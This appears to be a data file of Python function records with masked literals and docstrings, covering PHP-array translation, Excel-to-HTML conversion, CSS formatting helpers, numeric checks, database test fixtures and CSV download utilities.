{"signature": "def translate_array(self, string, language, level=<NUM_LIT:3>, retdata=False):", "body": "language = language.lower()<EOL>assert self.is_built_in(language) or language in self.outer_templates,\"<STR_LIT>\" + language + \"<STR_LIT>\"<EOL>data = phpserialize.loads(bytes(string, '<STR_LIT:utf-8>'), array_hook=list, decode_strings=True)<EOL>if self.is_built_in(language):<EOL><INDENT>self.get_built_in(language, level, data) <EOL>print(self)<EOL>return self.data_structure if retdata else None<EOL><DEDENT>def loop_print(iterable, level=<NUM_LIT:3>):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>retval = '<STR_LIT>'<EOL>indentation = '<STR_LIT:U+0020>' * level<EOL>if not self.is_iterable(iterable) or isinstance(iterable, str):<EOL><INDENT>non_iterable = str(iterable)<EOL>return str(non_iterable)<EOL><DEDENT>for item in iterable:<EOL><INDENT>if isinstance(item, tuple) and len(item) == <NUM_LIT:2>:<EOL><INDENT>key = item[<NUM_LIT:0>]<EOL>val = loop_print(item[<NUM_LIT:1>], level=level+<NUM_LIT:3>)<EOL>val = self.translate_val(language, val) if language in self.lang_specific_valuesand val in self.lang_specific_values[language] else val<EOL>key = str(key) if isinstance(key, int) else '<STR_LIT>' + str(key) + '<STR_LIT>'<EOL>needs_unpacking = hasattr(item[<NUM_LIT:0>],'<STR_LIT>') == Falseand hasattr(item[<NUM_LIT:1>],'<STR_LIT>') == True <EOL>if needs_unpacking:<EOL><INDENT>retval += self.get_inner_template(language, '<STR_LIT>', indentation, key, val)<EOL><DEDENT>else:<EOL><INDENT>val = str(val) if val.isdigit() or val in self.lang_specific_values[language].values() else '<STR_LIT>' + str(val) + '<STR_LIT>'<EOL>retval += self.get_inner_template(language, '<STR_LIT>', indentation, key, val) <EOL><DEDENT><DEDENT><DEDENT>return retval<EOL><DEDENT>self.data_structure = self.outer_templates[language] % (loop_print(data))<EOL>print(self)<EOL>return self.data_structure if retdata else None<EOL>", "docstring": "Unserializes a serialized php array and prints it to\n        the console as a data structure in the specified language.\n        Used to translate or convert a php array into a data structure \n        in another language. Currently supports, PHP, Python, Javascript,\n        and JSON. \n\n        Args:\n            string: a string of serialized php\n\n            language: a string representing the desired output \n            format for the array.\n\n            level: integer, indentation level in spaces. \n            Defaults to 3.\n\n            retdata: boolean, the method will return the string\n            in addition to printing it if set to True. Defaults \n            to false.\n\n        Returns:\n            None but prints a string to the console if retdata is \n            False, otherwise returns a string.", "id": "f1547:c0:m7"}
{"signature": "def run_get_percentage():", "body": "description = run_get_percentage.__doc__<EOL>parser = argparse.ArgumentParser(<EOL>prog='<STR_LIT>',<EOL>description=description,<EOL>epilog=\"<STR_LIT>\",<EOL>)<EOL>parser.add_argument(<EOL>'<STR_LIT:a>', help='<STR_LIT>'<EOL>)<EOL>parser.add_argument(<EOL>'<STR_LIT:b>',<EOL>help='<STR_LIT>',<EOL>)<EOL>args = parser.parse_args()<EOL>print(sm.get_percentage(float(args.a), float(args.b)))<EOL>", "docstring": "Calculate what percentage a given number is of another,\ne.g. 50 is 50% of 100.", "id": "f1548:m0"}
{"signature": "def run_excel_to_html():", "body": "<EOL>parser = argparse.ArgumentParser(prog='<STR_LIT>')<EOL>parser.add_argument('<STR_LIT>', nargs='<STR_LIT:?>', help='<STR_LIT>')<EOL>parser.add_argument(<EOL>'<STR_LIT>',<EOL>nargs='<STR_LIT:?>',<EOL>help='<STR_LIT>',<EOL>)<EOL>parser.add_argument(<EOL>'<STR_LIT>', nargs='<STR_LIT:?>', help='<STR_LIT>'<EOL>)<EOL>parser.add_argument(<EOL>'<STR_LIT>', action='<STR_LIT:store_true>', help='<STR_LIT>'<EOL>)<EOL>parser.add_argument(<EOL>'<STR_LIT:-c>', nargs='<STR_LIT:?>', help='<STR_LIT>'<EOL>)<EOL>parser.add_argument(<EOL>'<STR_LIT>',<EOL>nargs='<STR_LIT:?>',<EOL>help='<STR_LIT>',<EOL>)<EOL>parser.add_argument(<EOL>'<STR_LIT>', action='<STR_LIT:store_true>', help='<STR_LIT>'<EOL>)<EOL>args = parser.parse_args()<EOL>inputs = {<EOL>'<STR_LIT:p>': args.p,<EOL>'<STR_LIT:s>': args.s,<EOL>'<STR_LIT>': args.css,<EOL>'<STR_LIT:m>': args.m,<EOL>'<STR_LIT:c>': args.c,<EOL>'<STR_LIT:d>': args.d,<EOL>'<STR_LIT:r>': args.r,<EOL>}<EOL>p = inputs['<STR_LIT:p>']<EOL>s = inputs['<STR_LIT:s>'] if inputs['<STR_LIT:s>'] else '<STR_LIT>'<EOL>css = inputs['<STR_LIT>'] if inputs['<STR_LIT>'] else '<STR_LIT>'<EOL>m = inputs['<STR_LIT:m>'] if inputs['<STR_LIT:m>'] else False<EOL>c = inputs['<STR_LIT:c>'] if inputs['<STR_LIT:c>'] else '<STR_LIT>'<EOL>d = inputs['<STR_LIT:d>'].split('<STR_LIT:|>') if inputs['<STR_LIT:d>'] else []<EOL>r = inputs['<STR_LIT:r>'] if inputs['<STR_LIT:r>'] else False<EOL>html = fp.excel_to_html(<EOL>p, sheetname=s, css_classes=css, caption=c, details=d, row_headers=r, merge=m<EOL>)<EOL>print(html)<EOL>", "docstring": "Run the excel_to_html function from the\ncommand-line.\n\nArgs:\n    -p path to file\n    -s name of the sheet to convert\n    -css classes to apply\n    -m attempt to combine merged cells\n    -c caption for accessibility\n    -su summary for accessibility\n    -d details for accessibility\n\nExample use:\n\n    excel_to_html -p myfile.xlsx -s SheetName -css diablo-python -m true", "id": "f1548:m1"}
{"signature": "def get_web_file(path):", "body": "response = urllib.request.urlopen(path)<EOL>return response.read()<EOL>", "docstring": "Gets a file over http.\n\n    Args:\n        path: string url of the desired file.\n\n    Returns:\n        The desired file as a string.", "id": "f1549:m0"}
{"signature": "def copy_web_file_to_local(file_path, target_path):", "body": "response = urllib.request.urlopen(file_path)<EOL>f = open(target_path, '<STR_LIT:w>')<EOL>f.write(response.read()) <EOL>f.close()<EOL>", "docstring": "Copies a file from its location on the web to a designated \n    place on the local machine.\n\n    Args:\n        file_path: Complete url of the file to copy, string (e.g. http://fool.com/input.css).\n\n        target_path: Path and name of file on the local machine, string. (e.g. /directory/output.css)\n\n    Returns:\n        None.", "id": "f1549:m1"}
{"signature": "def get_line_count(fname):", "body": "i = <NUM_LIT:0><EOL>with open(fname) as f:<EOL><INDENT>for i, l in enumerate(f):<EOL><INDENT>pass<EOL><DEDENT><DEDENT>return i + <NUM_LIT:1><EOL>", "docstring": "Counts the number of lines in a file.\n\n    Args:\n        fname: string, name of the file.\n\n    Returns:\n        integer, the number of lines in the file.", "id": "f1549:m2"}
{"signature": "def indent_css(f, output):", "body": "line_count = get_line_count(f)<EOL>f = open(f, '<STR_LIT>')<EOL>output = open(output, '<STR_LIT>')<EOL>for line in range(line_count):<EOL><INDENT>string = f.readline().rstrip()<EOL>if len(string) > <NUM_LIT:0>:<EOL><INDENT>if string[-<NUM_LIT:1>] == \"<STR_LIT:;>\":<EOL><INDENT>output.write(\"<STR_LIT:U+0020>\" + string + \"<STR_LIT:\\n>\")<EOL><DEDENT>else:<EOL><INDENT>output.write(string + \"<STR_LIT:\\n>\")<EOL><DEDENT><DEDENT><DEDENT>output.close()<EOL>f.close()<EOL>", "docstring": "Indentes css that has not been indented and saves it to a new file.\n    A new file is created if the output destination does not already exist.\n\n    Args:\n        f: string, path to file.\n\n        output: string, path/name of the output file (e.g. /directory/output.css).\n    print type(response.read())\n\n    Returns:\n        None.", "id": "f1549:m3"}
{"signature": "def add_newlines(f, output, char):", "body": "line_count = get_line_count(f)<EOL>f = open(f, '<STR_LIT>')<EOL>output = open(output, '<STR_LIT>')<EOL>for line in range(line_count):<EOL><INDENT>string = f.readline()<EOL>string = re.sub(char, char + '<STR_LIT:\\n>', string)<EOL>output.write(string)<EOL><DEDENT>", "docstring": "Adds line breaks after every occurance of a given character in a file.\n\n    Args:\n        f: string, path to input file.\n\n        output: string, path to output file.\n\n    Returns:\n        None.", "id": "f1549:m4"}
{"signature": "def add_whitespace_before(char, input_file, output_file):", "body": "line_count = get_line_count(input_file)<EOL>input_file = open(input_file, '<STR_LIT:r>')<EOL>output_file = open(output_file, '<STR_LIT>')<EOL>for line in range(line_count):<EOL><INDENT>string = input_file.readline()<EOL>if re.search(r'<STR_LIT>' + char, string) != None:<EOL><INDENT>string = re.sub(char, '<STR_LIT:U+0020>' + char, string)<EOL><DEDENT>output_file.write(string)<EOL><DEDENT>input_file.close()<EOL>", "docstring": "Adds a space before a character if there's isn't one already.\n\n    Args:\n        char: string, character that needs a space before it.\n\n        input_file: string, path to file to parse.\n\n        output_file: string, path to destination file.\n\n    Returns:\n        None.", "id": "f1549:m5"}
{"signature": "def reformat_css(input_file, output_file):", "body": "<EOL>line_count = get_line_count(input_file)<EOL>f = open(input_file, '<STR_LIT>')<EOL>output = open(output_file, '<STR_LIT:w>')<EOL>for line in range(line_count):<EOL><INDENT>string = f.readline().strip()<EOL>string = re.sub('<STR_LIT>', '<STR_LIT>', string)<EOL>string = re.sub('<STR_LIT>', '<STR_LIT:;>', string)<EOL>string = re.sub('<STR_LIT:;>', '<STR_LIT>', string)<EOL>string = re.sub('<STR_LIT>', '<STR_LIT>', string)<EOL>string = re.sub('<STR_LIT>', '<STR_LIT>', string)<EOL>string = re.sub('<STR_LIT>', '<STR_LIT>', string)<EOL>output.write(string)<EOL><DEDENT>output.close()<EOL>f.close()<EOL>indent_css(output_file, output_file)<EOL>add_whitespace_before(\"<STR_LIT:{>\", output_file, output_file)<EOL>", "docstring": "Reformats poorly written css. This function does not validate or fix errors in the code.\n    It only gives code the proper indentation. \n\n    Args:\n        input_file: string, path to the input file.\n\n        output_file: string, path to where the reformatted css should be saved. If the target file\n        doesn't exist, a new file is created.\n\n    Returns:\n        None.", "id": "f1549:m6"}
{"signature": "def is_numeric(string):", "body": "try:<EOL><INDENT>float(string)<EOL>return True<EOL><DEDENT>except ValueError:<EOL><INDENT>return False<EOL><DEDENT>", "docstring": "Checks if a string is numeric. If the string value is an integer\nor a float, return True, otherwise False. Can be used to test \nsoley for floats as well. \n\nArgs:\n    string: a string to test.\n\nReturns: \n    boolean", "id": "f1549:m7"}
{"signature": "def is_number_of_some_sort(num):", "body": "if is_numeric(num):<EOL><INDENT>try:<EOL><INDENT>num / <NUM_LIT:2><EOL>return True<EOL><DEDENT>except:<EOL><INDENT>return False<EOL><DEDENT><DEDENT>return False<EOL>", "docstring": "Test to see if an argument is an acutal number.\nReturns True if passed an int, float, or decimal,\notherwise False.\n\nArgs:\n    num: int, float, decimal, or string.\n\nReturns:\n    boolean", "id": "f1549:m8"}
{"signature": "def are_numeric(string_list):", "body": "for string in string_list:<EOL><INDENT>if not is_numeric(string):<EOL><INDENT>return string<EOL><DEDENT><DEDENT>return True<EOL>", "docstring": "Checks a list of strings to see that all values in the list are\nnumeric. Returns the name of the offending string if it is  \nnot numeric.\n\nArgs:\n    string_list: a list of strings to test.\n\nReturns:\n    boolean or string", "id": "f1549:m9"}
{"signature": "def is_int(string):", "body": "try:<EOL><INDENT>a = float(string)<EOL>b = int(a)<EOL><DEDENT>except ValueError:<EOL><INDENT>return False<EOL><DEDENT>else:<EOL><INDENT>return a == b<EOL><DEDENT>", "docstring": "Checks if a string is an integer. If the string value is an integer\nreturn True, otherwise return False. \n\nArgs:\n    string: a string to test.\n\nReturns: \n    boolean", "id": "f1549:m10"}
{"signature": "def total_hours(input_files):", "body": "hours = <NUM_LIT:0> <EOL>allow = set(['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>'])<EOL>for input_file in input_files:<EOL><INDENT>doc = open(input_file, '<STR_LIT:r>')<EOL>for line in doc:<EOL><INDENT>line = line.rstrip()<EOL>data = line.split('<STR_LIT:U+0020>')<EOL>if (len(data) == <NUM_LIT:2>) and (is_numeric(data[<NUM_LIT:0>])) and (data[<NUM_LIT:1>].lower() in allow):<EOL><INDENT>hours += float(data[<NUM_LIT:0>])<EOL><DEDENT><DEDENT>doc.close()<EOL><DEDENT>return hours<EOL>", "docstring": "Totals the hours for a given projct. Takes a list of input files for \nwhich to total the hours. Each input file represents a project.\nThere are only multiple files for the same project when the duration \nwas more than a year. A typical entry in an input file might look \nlike this: \n\n8/24/14\n9:30-12:00 wrote foobar code for x, wrote a unit test for foobar code, tested. \n2.5 hours\n\nArgs:\n    input_files: a list of files to parse.\n\nReturns:\n    float: the total number of hours spent on the project.", "id": "f1549:m11"}
{"signature": "def clean_strings(iterable):", "body": "retval = []<EOL>for val in iterable:<EOL><INDENT>try:<EOL><INDENT>retval.append(val.strip())<EOL><DEDENT>except(AttributeError):<EOL><INDENT>retval.append(val)<EOL><DEDENT><DEDENT>return retval<EOL>", "docstring": "Take a list of strings and clear whitespace \non each one. If a value in the list is not a \nstring pass it through untouched.\n\nArgs:\n    iterable: mixed list\n\nReturns: \n    mixed list", "id": "f1549:m12"}
{"signature": "def is_json(data):", "body": "try:<EOL><INDENT>json_object = json.loads(data)<EOL><DEDENT>except(ValueError):<EOL><INDENT>return False<EOL><DEDENT>return True<EOL>", "docstring": "Test if a string is valid json.\n\nArgs:\n    data: string\n\nReturns:\n    boolean", "id": "f1549:m13"}
{"signature": "def excel_to_html(path, sheetname='<STR_LIT>', css_classes='<STR_LIT>',caption='<STR_LIT>', details=[], row_headers=False, merge=False):", "body": "def get_data_on_merged_cells():<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>merged_cells = xls.book.sheet_by_name(sheetname).merged_cells<EOL>ds = {}<EOL>for crange in merged_cells:<EOL><INDENT>rlo, rhi, clo, chi = crange<EOL>for rowx in range(rlo, rhi):<EOL><INDENT>for colx in range(clo, chi):<EOL><INDENT>parent_cell = (rlo,clo)<EOL>child_cell = (rowx,colx)<EOL>if not parent_cell in ds:<EOL><INDENT>ds[parent_cell] = [[<NUM_LIT:1>,<NUM_LIT:1>], set([])]<EOL><DEDENT>else:<EOL><INDENT>if parent_cell != child_cell and child_cell[<NUM_LIT:0>] == parent_cell[<NUM_LIT:0>]:<EOL><INDENT>ds[parent_cell][<NUM_LIT:0>][<NUM_LIT:0>] += <NUM_LIT:1><EOL>ds[parent_cell][<NUM_LIT:1>].add('<STR_LIT:right>')<EOL><DEDENT>elif parent_cell != child_cell and child_cell[<NUM_LIT:0>] > parent_cell[<NUM_LIT:0>]:<EOL><INDENT>if child_cell[<NUM_LIT:1>] == parent_cell[<NUM_LIT:1>]:<EOL><INDENT>ds[parent_cell][<NUM_LIT:0>][<NUM_LIT:1>] += <NUM_LIT:1><EOL><DEDENT>ds[parent_cell][<NUM_LIT:1>].add('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>raise RuntimeError('<STR_LIT>')<EOL><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT>return ds<EOL><DEDENT>def mark_cells_going_right(cell, curr_cell, merged_cells):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>try:<EOL><INDENT>xcount = merged_cells[curr_cell][<NUM_LIT:0>][<NUM_LIT:0>]<EOL>if xcount > <NUM_LIT:1>: <EOL><INDENT>cell['<STR_LIT>'] = xcount<EOL><DEDENT>col_count = xcount - <NUM_LIT:1> <EOL>while col_count > <NUM_LIT:0>:<EOL><INDENT>cell = cell.find_next_sibling()<EOL>cell['<STR_LIT:class>'] = '<STR_LIT>'<EOL>col_count -= <NUM_LIT:1><EOL><DEDENT><DEDENT>except:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>def mark_cells_going_down(cell, curr_cell, merged_cells):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>if curr_cell in merged_cells and merged_cells[curr_cell][<NUM_LIT:1>] == set(['<STR_LIT>']):<EOL><INDENT>ycount = merged_cells[curr_cell][<NUM_LIT:0>][<NUM_LIT:1>]<EOL>cell['<STR_LIT>'] = ycount<EOL>row_count = ycount<EOL>for child_row in cell.parent.find_next_siblings(limit=row_count - <NUM_LIT:1>):<EOL><INDENT>i = <NUM_LIT:0><EOL>for child in child_row.find_all('<STR_LIT>'):<EOL><INDENT>if i == curr_cell[<NUM_LIT:1>]:<EOL><INDENT>child['<STR_LIT:class>'] = '<STR_LIT>'<EOL><DEDENT>i += <NUM_LIT:1><EOL><DEDENT><DEDENT><DEDENT><DEDENT>def mark_cells_going_down_and_right(cell, curr_cell, merged_cells):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>if curr_cell in merged_cells and('<STR_LIT>' in merged_cells[curr_cell][<NUM_LIT:1>] and'<STR_LIT:right>' in merged_cells[curr_cell][<NUM_LIT:1>]):<EOL><INDENT>xcount = merged_cells[curr_cell][<NUM_LIT:0>][<NUM_LIT:0>]<EOL>ycount = merged_cells[curr_cell][<NUM_LIT:0>][<NUM_LIT:1>]<EOL>row_count = ycount<EOL>col_count = xcount<EOL>mark_cells_going_right(cell, curr_cell, merged_cells)<EOL>flag = False<EOL>for child_row in [cell.parent] + cell.parent.find_all_next('<STR_LIT>', limit=row_count - <NUM_LIT:1>):<EOL><INDENT>i = <NUM_LIT:0><EOL>for child in child_row.find_all('<STR_LIT>'):<EOL><INDENT>if i == curr_cell[<NUM_LIT:1>]:<EOL><INDENT>mark_cells_going_right(child, curr_cell, merged_cells)<EOL>if not flag:<EOL><INDENT>child['<STR_LIT>'] = col_count<EOL>child['<STR_LIT>'] = row_count<EOL>flag = True<EOL><DEDENT>else:<EOL><INDENT>child['<STR_LIT:class>'] = '<STR_LIT>'<EOL><DEDENT><DEDENT>i += <NUM_LIT:1><EOL><DEDENT><DEDENT><DEDENT><DEDENT>def is_empty_th(string):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>if string[:<NUM_LIT:8>] == '<STR_LIT>':<EOL><INDENT>data = string.split('<STR_LIT:U+0020>')<EOL>if is_numeric(data[<NUM_LIT:1>]):<EOL><INDENT>return True<EOL><DEDENT><DEDENT>return False<EOL><DEDENT>def mark_header_cells(html):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>th = html.find_all('<STR_LIT>')<EOL>for header in th:<EOL><INDENT>txt = header.string<EOL>if not is_empty_th(txt):<EOL><INDENT>header['<STR_LIT>'] = '<STR_LIT>'<EOL>count = <NUM_LIT:1><EOL>for sibling in header.find_next_siblings():<EOL><INDENT>if is_empty_th(sibling.string):<EOL><INDENT>count += <NUM_LIT:1><EOL>sibling['<STR_LIT:class>'] = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>break<EOL><DEDENT><DEDENT>if count > <NUM_LIT:1>:<EOL><INDENT>header['<STR_LIT>'] = count<EOL>header['<STR_LIT>'] = '<STR_LIT>'<EOL><DEDENT><DEDENT><DEDENT><DEDENT>def create_caption(html, caption):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>ctag = html.new_tag('<STR_LIT>')<EOL>ctag.insert(<NUM_LIT:0>, caption)<EOL>html.table.insert(<NUM_LIT:0>, ctag)<EOL><DEDENT>def create_summary_and_details(html, details):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>if len(details) != <NUM_LIT:2>:<EOL><INDENT>msg = '<STR_LIT>'+ '<STR_LIT>'+ '<STR_LIT>'+ '<STR_LIT>'<EOL>raise RuntimeError(msg)<EOL><DEDENT>summary = details[<NUM_LIT:0>]<EOL>details = details[<NUM_LIT:1>]<EOL>if not caption:<EOL><INDENT>create_caption(html, caption)<EOL><DEDENT>dtag = html.new_tag('<STR_LIT>')<EOL>stag = html.new_tag('<STR_LIT>')<EOL>ptag = html.new_tag('<STR_LIT:p>')<EOL>stag.insert(<NUM_LIT:0>, summary)<EOL>ptag.insert(<NUM_LIT:0>, details)<EOL>dtag.insert(<NUM_LIT:0>, stag)<EOL>dtag.append(ptag) <EOL>html.table.caption.insert(<NUM_LIT:1>, dtag)   <EOL><DEDENT>def format_properly(html):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>return html.replace('<STR_LIT>', '<STR_LIT>').replace('<STR_LIT>','<STR_LIT>').replace('<STR_LIT>', '<STR_LIT>').replace('<STR_LIT>','<STR_LIT>').replace('<STR_LIT>', '<STR_LIT>')<EOL><DEDENT>def add_row_headers(html):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>for row in html.tbody.find_all('<STR_LIT>'):<EOL><INDENT>spans_rows = '<STR_LIT>' in row.td.attrs<EOL>spans_columns = '<STR_LIT>' in row.td.attrs<EOL>new_tag = html.new_tag('<STR_LIT>')<EOL>new_tag['<STR_LIT>'] = '<STR_LIT>'<EOL>new_tag.string = row.td.string<EOL>if spans_rows:<EOL><INDENT>new_tag['<STR_LIT>'] = row.td.attrs['<STR_LIT>']<EOL>new_tag['<STR_LIT>'] = '<STR_LIT>'<EOL><DEDENT>if spans_columns:<EOL><INDENT>new_tag['<STR_LIT>'] = row.td.attrs['<STR_LIT>']<EOL><DEDENT>row.td.replace_with(new_tag)<EOL><DEDENT><DEDENT>def beautify(html):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>table = html.find('<STR_LIT>')<EOL>first_tr = table.find('<STR_LIT>')<EOL>del table['<STR_LIT>']<EOL>del first_tr['<STR_LIT>']<EOL>return format_properly(html.prettify(formatter='<STR_LIT>'))<EOL><DEDENT>def parse_html(html, caption, details):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>new_html = BeautifulSoup(html, '<STR_LIT>')<EOL>if merge:<EOL><INDENT>row_num = <NUM_LIT:1><EOL>merged_cells = get_data_on_merged_cells()<EOL>rows = new_html.find('<STR_LIT>').find('<STR_LIT>').find_all('<STR_LIT>')<EOL>for row in rows:<EOL><INDENT>cell_num = <NUM_LIT:0> <EOL>cells = row.find_all('<STR_LIT>')<EOL>for cell in cells:<EOL><INDENT>curr_cell = (row_num, cell_num)<EOL>mark_cells_going_right(cell, curr_cell, merged_cells)  <EOL>mark_cells_going_down(cell, curr_cell, merged_cells)<EOL>mark_cells_going_down_and_right(cell, curr_cell, merged_cells)<EOL>cell_num += <NUM_LIT:1><EOL><DEDENT>row_num += <NUM_LIT:1><EOL><DEDENT>mark_header_cells(new_html)<EOL>destroy = new_html.find_all(attrs={'<STR_LIT:class>' : '<STR_LIT>' })<EOL>for item in destroy:<EOL><INDENT>item.extract()<EOL><DEDENT><DEDENT>if row_headers:<EOL><INDENT>add_row_headers(new_html)<EOL><DEDENT>if caption:<EOL><INDENT>create_caption(new_html, caption)<EOL><DEDENT>if details:<EOL><INDENT>create_summary_and_details(new_html, details)<EOL><DEDENT>return beautify(new_html)<EOL><DEDENT>pd.options.display.max_colwidth = -<NUM_LIT:1><EOL>xls = pd.ExcelFile(path)<EOL>df = xls.parse(sheetname)<EOL>panda_html = df.to_html(classes=css_classes, index=False, na_rep='<STR_LIT>')<EOL>return parse_html(panda_html, caption, details)<EOL>", "docstring": "Convert an excel spreadsheet to an html table.\nThis function supports the conversion of merged \ncells. It can be used in code or run from the \ncommand-line. If passed the correct arguments\nit can generate fully accessible html.\n\nArgs:\n    path: string, path to the spreadsheet.\n\n    sheetname: string, name of the sheet\n    to convert. \n\n    css_classes: string, space separated\n    classnames to append to the table.\n\n    caption: string, a short heading-like \n    description of the table.\n\n    details: list of strings, where the first\n    item in the list is a string for the html \n    summary element and the second item is\n    a string for the details element. The \n    summary should be very short, e.g. \"Help\",\n    where as the details element should be a \n    long description regarding the purpose or \n    how to navigate the table.\n\n    row_headers: boolean, defaults to False.\n    Does the table have row headers? If set\n    to True, the first element in each row\n    will be a <th scope=\"row\"> element \n    instead of a <td> element.\n\n    merge: boolean, whether or not to \n    combine cells that were merged in the \n    spreadsheet.\n\nReturns:\n    string, html table", "id": "f1549:m14"}
{"signature": "def assert_assertion_error(f, *args):", "body": "try:<EOL><INDENT>f(*args)<EOL><DEDENT>except AssertionError:<EOL><INDENT>return True<EOL><DEDENT>except Exception:<EOL><INDENT>raise AssertionError(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>raise AssertionError(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Test if an AssertionError is thrown. This\nfunction expects to trigger an Assertion\nError. If an AssertionError is triggered\nnothing happens. If a different kind of\nexception is triggered, an AssertionError\nis raised. If no exception is triggered\nan AssertionError is raised.\n\nArgs:\n    f: function to test.\n\n    *args: unamed arguments.\n\nReturns:\n    True or raises an AssertionError.", "id": "f1552:m0"}
{"signature": "def camelize_classname(base, tablename, table):", "body": "\"<STR_LIT>\"<EOL>return str(tablename[<NUM_LIT:0>].upper() +<EOL>re.sub(r'<STR_LIT>', lambda m: m.group(<NUM_LIT:1>).upper(),<EOL>tablename[<NUM_LIT:1>:]))<EOL>", "docstring": "Produce a 'camelized' class name, e.g.", "id": "f1564:m0"}
{"signature": "def pluralize_collection(base, local_cls, referred_cls, constraint):", "body": "\"<STR_LIT>\"<EOL>referred_name = referred_cls.__name__<EOL>uncamelized = re.sub(r'<STR_LIT>',<EOL>lambda m: \"<STR_LIT>\" % m.group(<NUM_LIT:0>).lower(),<EOL>referred_name)[<NUM_LIT:1>:]<EOL>pluralized = _pluralizer.plural(uncamelized)<EOL>return pluralized<EOL>", "docstring": "Produce an 'uncamelized', 'pluralized' class name, e.g.", "id": "f1564:m1"}
{"signature": "def __init__(self, *args, **kwargs):", "body": "super().__init__(*args, **kwargs)<EOL>self.last_populate_args = []<EOL>self.last_populate_kwargs = {}<EOL>", "docstring": "Instantiate the manager.", "id": "f1569:c1:m0"}
{"signature": "def count_model(self) -> int:", "body": "return self._count_model(Model)<EOL>", "docstring": "Count the test model.", "id": "f1569:c1:m3"}
{"signature": "def list_model(self) -> List[Model]:", "body": "return self._list_model(Model)<EOL>", "docstring": "Get all models.", "id": "f1569:c1:m4"}
{"signature": "def is_populated(self) -> bool:", "body": "return <NUM_LIT:0> < self.count_model()<EOL>", "docstring": "Check if the database is already populated.", "id": "f1569:c1:m5"}
{"signature": "def populate(self, *args, **kwargs) -> None:", "body": "models = [<EOL>Model.from_id(model_id)<EOL>for model_id in range(NUMBER_TEST_MODELS)<EOL>]<EOL>self.session.add_all(models)<EOL>self.session.commit()<EOL>if args:<EOL><INDENT>self.last_populate_args = args<EOL>log.critical('<STR_LIT>', args)<EOL><DEDENT>if kwargs:<EOL><INDENT>self.last_populate_kwargs = kwargs<EOL>log.critical('<STR_LIT>', kwargs)<EOL><DEDENT>", "docstring": "Add five models to the store.", "id": "f1569:c1:m6"}
{"signature": "def summarize(self) -> Mapping[str, int]:", "body": "return dict(<EOL>models=self.count_model(),<EOL>)<EOL>", "docstring": "Summarize the database.", "id": "f1569:c1:m7"}
{"signature": "@classmethod<EOL><INDENT>def populate(cls):<DEDENT>", "body": "cls.manager.populate()<EOL>", "docstring": "Populate the database.", "id": "f1571:c3:m0"}
{"signature": "@classmethod<EOL><INDENT>def populate(cls):<DEDENT>", "body": "cls.manager.populate(return_true=True)<EOL>", "docstring": "Populate the database.", "id": "f1571:c4:m0"}
{"signature": "def setUp(self):", "body": "self.runner = CliRunner()<EOL>self.main = Manager.get_cli()<EOL>", "docstring": "Set up a CliRunner and an accompanying CLI for each test.", "id": "f1574:c0:m0"}
{"signature": "def populate(self):", "body": "self.manager.populate()<EOL>", "docstring": "Populate the manager.", "id": "f1575:c2:m0"}
{"signature": "def setUp(self):", "body": "self.runner = CliRunner()<EOL>self.main = NamespaceManager.get_cli()<EOL>self.manager = Manager(connection=self.connection)<EOL>self.manager.populate()<EOL>", "docstring": "Set up a CliRunner and an accompanying CLI for each test.", "id": "f1575:c3:m0"}
{"signature": "def make_downloader(url: str, path: str) -> Callable[[bool], str]:  ", "body": "def download_data(force_download: bool = False) -> str:<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>if os.path.exists(path) and not force_download:<EOL><INDENT>log.info('<STR_LIT>', path)<EOL><DEDENT>else:<EOL><INDENT>log.info('<STR_LIT>', url, path)<EOL>urlretrieve(url, path)<EOL><DEDENT>return path<EOL><DEDENT>return download_data<EOL>", "docstring": "Make a function that downloads the data for you, or uses a cached version at the given path.\n\n    :param url: The URL of some data\n    :param path: The path of the cached data, or where data is cached if it does not already exist\n    :return: A function that downloads the data and returns the path of the data", "id": "f1576:m0"}
{"signature": "def make_df_getter(data_url: str, data_path: str, **kwargs) -> Callable[[Optional[str], bool, bool], pd.DataFrame]:", "body": "download_function = make_downloader(data_url, data_path)<EOL>def get_df(url: Optional[str] = None, cache: bool = True, force_download: bool = False) -> pd.DataFrame:<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>if url is None and cache:<EOL><INDENT>url = download_function(force_download=force_download)<EOL><DEDENT>return pd.read_csv(<EOL>url or data_url,<EOL>**kwargs<EOL>)<EOL><DEDENT>return get_df<EOL>", "docstring": "Build a function that handles downloading tabular data and parsing it into a pandas DataFrame.\n\n    :param data_url: The URL of the data\n    :param data_path: The path where the data should get stored\n    :param kwargs: Any other arguments to pass to :func:`pandas.read_csv`", "id": "f1576:m1"}
{"signature": "def make_zipped_df_getter(data_url: str, data_path: str, zip_path: str, **kwargs):", "body": "download_function = make_downloader(data_url, data_path)<EOL>def get_df(url: Optional[str] = None, cache: bool = True, force_download: bool = False) -> pd.DataFrame:<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>if url is not None:<EOL><INDENT>return pd.read_csv(url, **kwargs)<EOL><DEDENT>if url is None and cache:<EOL><INDENT>url = download_function(force_download=force_download)<EOL><DEDENT>with ZipFile(url) as zip_file:<EOL><INDENT>with zip_file.open(zip_path) as file:<EOL><INDENT>return pd.read_csv(file, **kwargs)<EOL><DEDENT><DEDENT><DEDENT>return get_df<EOL>", "docstring": ":param data_url:\n:param data_path:\n:param zip_path:\n:return:", "id": "f1576:m2"}
